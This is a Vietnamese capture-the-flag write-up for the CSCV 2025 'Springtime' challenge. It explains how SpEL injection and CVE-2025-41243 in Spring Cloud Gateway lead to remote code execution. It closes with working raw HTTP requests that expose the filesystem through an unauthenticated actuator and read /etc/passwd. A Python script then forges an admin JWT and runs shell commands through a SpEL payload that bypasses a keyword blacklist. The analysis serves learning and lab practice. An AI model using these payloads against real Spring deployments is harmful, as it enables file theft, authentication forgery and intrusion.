---
# System prepended metadata

title: CSCV 2025 - Springtime

---

# Tổng quan

**Description:** Spring always brings back so many memories. Build docker to test your own kit, spawn an instance to exploit and get the flag Get the source code: springtime-sourcecode.zip

Challenge là một ứng dụng gồm 2 services độc lập:
- Gateman service: Port 8080, là dịch vụ spring cloud gateway với mục đích routing
- Newsman service: Port 8082, dịch vụ Custom News Service để quản lý tin tức
![image](https://hackmd.io/_uploads/SJr8NSQCle.png)
![image](https://hackmd.io/_uploads/SyedgcmRxg.png)

# Phân tích

Ứng dụng Newsman quản lý tin có các chức năng như xem tất cả các tin, thêm tin và xem tin cụ thể dựa vào `id` của news
![image](https://hackmd.io/_uploads/Hkag6iXCgl.png)

Sau khi đọc qua source code, ta có thể thấy có một lỗ hổng SpEL injection trong chức năng view. Ta có thể đăng bài với content body chứa SpEL, sau đó truy cập `/id/view` sẽ trigger method render và thực thi

![img](https://hackmd.io/_uploads/rkiFEhXRex.png)

Đi sâu một chút tại sao method `render` lại thực thi SpEL. Ở `NewsService.java`
![image](https://hackmd.io/_uploads/HJIsrh7Cxg.png)
Ta thấy `ctx` là một instance của `SafeEvaluationContext`, sau đó được return qua method `parseExpression` để parse từ SpEL sang AST (Abstract Syntax Tree) để chuẩn bị cấu trúc dữ liệu để có thể thực thi từng bước một.

Để phân tích, có thể decompile thư viện `spring-expression-x.x.x.jar`, luồng như sau:

Khi body đi vào method `parseExpression`, class `SpelExpressionParser` được import tìm method đó, nhưng không có method đó, gọi đến class mà nó extends là `TemplateAwareExpressionParser`, method `parseExpression` trong này gọi đến các method như `parseTemplate` -> `parseExpression` rồi sau đó trả ra instance `SpelExpressionParse.doParseExpression()`
![img](https://hackmd.io/_uploads/SyGa1a7Axx.png)

![img](https://hackmd.io/_uploads/rk9MW6QRxx.png)

Khi này, `SpelExpressionParser.doParseExpression` gọi đến `InternalSpelExpressionParse.doParseExpression`, trả ra một `SpelEpxression`

![img](https://hackmd.io/_uploads/HyDkMT7Ceg.png)
và khi này, đối tượng được truyền vào `.getValue` tại method `NewsService.render` là một `SpelExpression` 

Về class `SpelExpression` là implements của class `Expression`
![SCR-20251020-sjjg](https://hackmd.io/_uploads/rJu7QTXRge.png)

Ta thấy class `Expression` có rất nhiều abstract method `getValue`, nhưng ở `NewsService` ta thấy `getValue` được truyền vào 2 tham số là `EvaluationContext` (là một extends của `Context`) và `String.class` (là `expectedResultType`)
![SCR-20251020-slng](https://hackmd.io/_uploads/Hkhgra7Alx.png)

Từ đây flow sẽ là: check context xem có phải null không -> khởi tạo một instance của `ExpressionState` -> gọi `SpelNodeImpl.getTypedValue()` -> return `getValueInternal()`
![SCR-20251020-syqa](https://hackmd.io/_uploads/rJyrp67Reg.png)

Nhưng `SpelNodeImpl.getValueInternal` là một abstract method, nên nó sẽ gọi đến các class đã implement class này, ở đây ta thấy là `this.ast.getTypedValue`, nên đó sẽ là class `CompoundExpression`
![image](https://hackmd.io/_uploads/HJl3ppmRxx.png)
![image](https://hackmd.io/_uploads/ryCyCaQCel.png)

Khi parser chuyển SpEL thành AST, mỗi node (ví dụ `TypeReference`, `MethodReference`,...) đã được phân loại; `CompoundExpression.getValueRef và getValueInternal` duyệt các node này, `pushactiveContextObject` vào `ExpressionState` cho từng bước và gọi `getValueInternal/getValueRef` của từng node, các node khác nhau như `TypeReference`, `MethodReference` dùng `TypeLocator`, `MethodResolver` (reflection) để resolve class và invoke method
 - Ví dụ `T(java.lang.Runtime).getRuntime().exec('…')` sẽ được resolved thành `Class<Runtime>` -> `Runtime.getRuntime()` -> `Runtime.exec(...)` và thực thi lệnh hệ thống.
![SCR-20251020-tavw](https://hackmd.io/_uploads/H1J98RQRge.png)

Vậy ta đã hiểu sơ qua tại sao ta có thể thực thi SpEL và có thể RCE trên service này, tuy `SafeEvaluationContext` có blacklist các keyword như `class`, `getclass` và `forname`, nhưng dựa vào ý tưởng của [CVE-2025-48734](https://nvd.nist.gov/vuln/detail/CVE-2025-48734), ta có thể dùng `getDeclaringClass()` để bypass và dẫn tới RCE.

Tuy nhiên để có thể update news, ta cần xác thực jwt token admin, nên ta cần jwt secret để giả mạo admin
![image](https://hackmd.io/_uploads/ryDzFRX0gg.png)

JWT secret được lưu trong `application.yml` của newsman service, nên ta sẽ tận dụng [CVE-2025-41243](https://www.wiz.io/vulnerability-database/cve/cve-2025-41243)

API `/actuator` trong Spring Boot là một nhóm endpoins dùng để giám sát, quản lý và tương tác gateway khi ứng dụng đang chạy mà không cần build và khởi chạy lại.
![image](https://hackmd.io/_uploads/S1w2hR70ex.png)
Lỗ hổng được tận dụng do cấu hình Spring Cloud Gateway (SCG) expose api `/actuator` mà không có xác thực, cho phép bất kì ai gửi POST request để tạo route mới
![image](https://hackmd.io/_uploads/HyHpi070lx.png)
Ứng dụng sử dụng lib SCG 4.3.0, nằm trong những version bị ảnh hưởng của `CVE-2025-41243`
![image](https://hackmd.io/_uploads/ByxUTR7Cxg.png)
và đáp ứng đủ điều kiện khai thác
![image](https://hackmd.io/_uploads/rkBweyECle.png)

Dựa vào blog https://rce.moe/2025/09/29/CVE-2025-41243/, ta có thể override đường dẫn resource sang system path để đọc file tùy ý

Ta sẽ gửi POST request tới `/actuator/gateway/routes/test` để tạo một route `test` mới với các props như `id`, `uri`, `predicates` và `filters` được viết chi tiết tại [đây](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/)
![image](https://hackmd.io/_uploads/ByYpQk4Rgx.png)

Ta quan tâm tới `filters`, có 3 phần tử, cả 3 phần tử đều sử dụng `AddResponseHeader` là một [GatewayFilterFactory](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#gatewayfilter-factories) có mục đích add header vào response của một route, với value là các SpEL, ta có thế sử dụng các `gateway filer` khác cũng hỗ trợ SpEL ở `args` thay thế
- Filter 1: set systemPropertiese spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled là false để bypass các hạn chế property access trong WebFlux (default là true) để SpEL modify các props sau mà không bị block
- Filter 2: Modify mapping cho `/webjars/**` để trỏ đến `file:///` , expose toàn bộ file system qua web
- Filter 3: gọi method `afterPropertiesSet` để [apply change](https://techmaster.vn/posts/37937/tim-hieu-ve-bean-trong-springboot) cho filter trước (mapping)
![image](https://hackmd.io/_uploads/SyNgu1E0xl.png)

Sau đó, ta refresh để apply change cho gateway routes mới
![image](https://hackmd.io/_uploads/HJcSdJERle.png)

Ta đã thành công đọc file hệ thống
![image](https://hackmd.io/_uploads/rJVdFJN0gl.png)
Lấy file newsman.jar về, decompile và ta sẽ có được jwt_secret
![image](https://hackmd.io/_uploads/S1z9Kk4Axe.png)

Giờ chỉ cần epxloit theo luồng đã nói ở trên, khác một chút là ta sẽ đăng ký một routes mới là /news đến uri `http://localhost:8082` để có thể inject SpEL vào Newsman Service: Add routes /news tới localhost:8082 -> Ký jwt giả mạo admin -> PUT content body của news chứa SpEL -> /news/id/view để trigger render -> RCE
![image](https://hackmd.io/_uploads/HywCMlVClg.png)

## Lưu ý
Sau khi thực hiện refresh route để khai thác CVE-2025-41243, các SpEL expressions trong filters thường trả về null do tập trung vào side effects (modify beans). Refresh route gây [BindValidationException](https://docs.spring.io/spring-boot/api/java/org/springframework/boot/context/properties/bind/validation/BindValidationException.html) vì args.value vi phạm [@NotEmpty](https://docs.hibernate.org/validator/6.2/api/org/hibernate/validator/constraints/NotEmpty.html), làm hỏng `RouteDefinitionRepository` và chặn refresh tiếp theo. Để tiếp tục khai thác, reload Docker container hoặc tạo một instance mới
![SCR-20251021-bhnp](https://hackmd.io/_uploads/rJjc1lV0ee.png)
![image](https://hackmd.io/_uploads/Sk7EzgV0xl.png)


# Script

### Leak file system to get jwt secret

Tạo route mới với SpEL:

```
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:88880
Connection: keep-alive
Content-Type: application/json
Content-Length: 1023

{ 
    "id": "spel-route", 
    "uri": "http://localhost:8080/", 
    "predicates": [ 
        { 
            "name": "Path", 
            "args": { 
                "pattern": "/test" 
            } 
        } 
    ], 
    "filters": [ 
        { 
            "name": "AddResponseHeader", 
            "args": { 
                "name": "Test", 
                "value": "#{@systemProperties['spring.cloud.gateway.server.webflux.restrictive-property-accessor.enabled'] = false}" 
            } 
        }, 
        { 
            "name": "AddResponseHeader", 
            "args": { 
                "name": "Test", 
                "value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0]='file:///'}" 
            } 
        }, 
        { 
            "name": "AddResponseHeader", 
            "args": { 
                "name": "Test", 
                "value": "#{@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet}" 
            } 
        } 
    ]
} 
```

Refresh:
```
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8888
Connection: keep-alive
```

Access file system:
```
GET /webjars/etc/passwd HTTP/1.1
Host: localhost:8888
Connection: keep-alive
```

### RCE

```python=
import base64
import hashlib
import hmac
import json
import time
import requests
import re

secret = 'fake_secret_for_testing'
base_url = 'http://localhost:8888'
headers = {'Content-Type': 'application/json'}

# === 1. Generate JWT token ===
def generate_jwt():
    key = hashlib.sha256(secret.encode()).hexdigest().encode()
    header = {'alg': 'HS256', 'typ': 'JWT'}
    payload = {
        'sub': 'admin',
        'role': 'ADMIN',
        'iat': int(time.time()),
        'exp': int(time.time()) + 3600
    }

    b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
    signing = b'.'.join([
        b64(json.dumps(header, separators=(',', ':')).encode()),
        b64(json.dumps(payload, separators=(',', ':')).encode())
    ])
    sig = base64.urlsafe_b64encode(hmac.new(key, signing, hashlib.sha256).digest()).rstrip(b'=')
    return (signing + b'.' + sig).decode()

token = generate_jwt()
auth_header = {'Authorization': f'Bearer {token}'}

# === 2. Đăng ký route gateway ===
requests.post(
    f'{base_url}/actuator/gateway/routes/news',
    headers=headers,
    json={
        "id": "news",
        "predicates": [{"name": "Path", "args": {"_genkey_0": "/news/**"}}],
        "uri": "http://127.0.0.1:8082"
    }
)
requests.post(f'{base_url}/actuator/gateway/refresh')

# === 3. Gửi payload SpEL để lấy tên flag qua ls ===
payload_ls = {
    "id": "1",
    "title": "t",
    "description": "d",
    "body": "#{role.getDeclaringClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\"java.io.InputStream\")][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"ls /app\").getInputStream()).useDelimiter(\"\\\\A\").next()}",
    "author": "a",
    "draft": False
}
requests.put(f'{base_url}/news/1', headers={**headers, **auth_header}, json=payload_ls)

resp_ls = requests.get(f'{base_url}/news/1/view', headers=auth_header)
flag_file = re.search(r'flag-[\w\d]+', resp_ls.text)
if not flag_file:
    print("Không tìm thấy flag file")
    exit(1)

flag_name = flag_file.group(0)
print(f"Found flag: {flag_name}")

payload_cat = {
    "id": "1",
    "title": "t",
    "description": "d",
    "body": f"#{{role.getDeclaringClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructors().?[getParameterCount()==1 and getParameterTypes()[0].getName().equals(\"java.io.InputStream\")][0].newInstance(role.getDeclaringClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"cat /app/{flag_name}\").getInputStream()).useDelimiter(\"\\\\A\").next()}}",
    "author": "a",
    "draft": False
}
requests.put(f'{base_url}/news/1', headers={**headers, **auth_header}, json=payload_cat)

resp_flag = requests.get(f'{base_url}/news/1/view', headers=auth_header)
print("\nFlag output:")
print(resp_flag.text)
```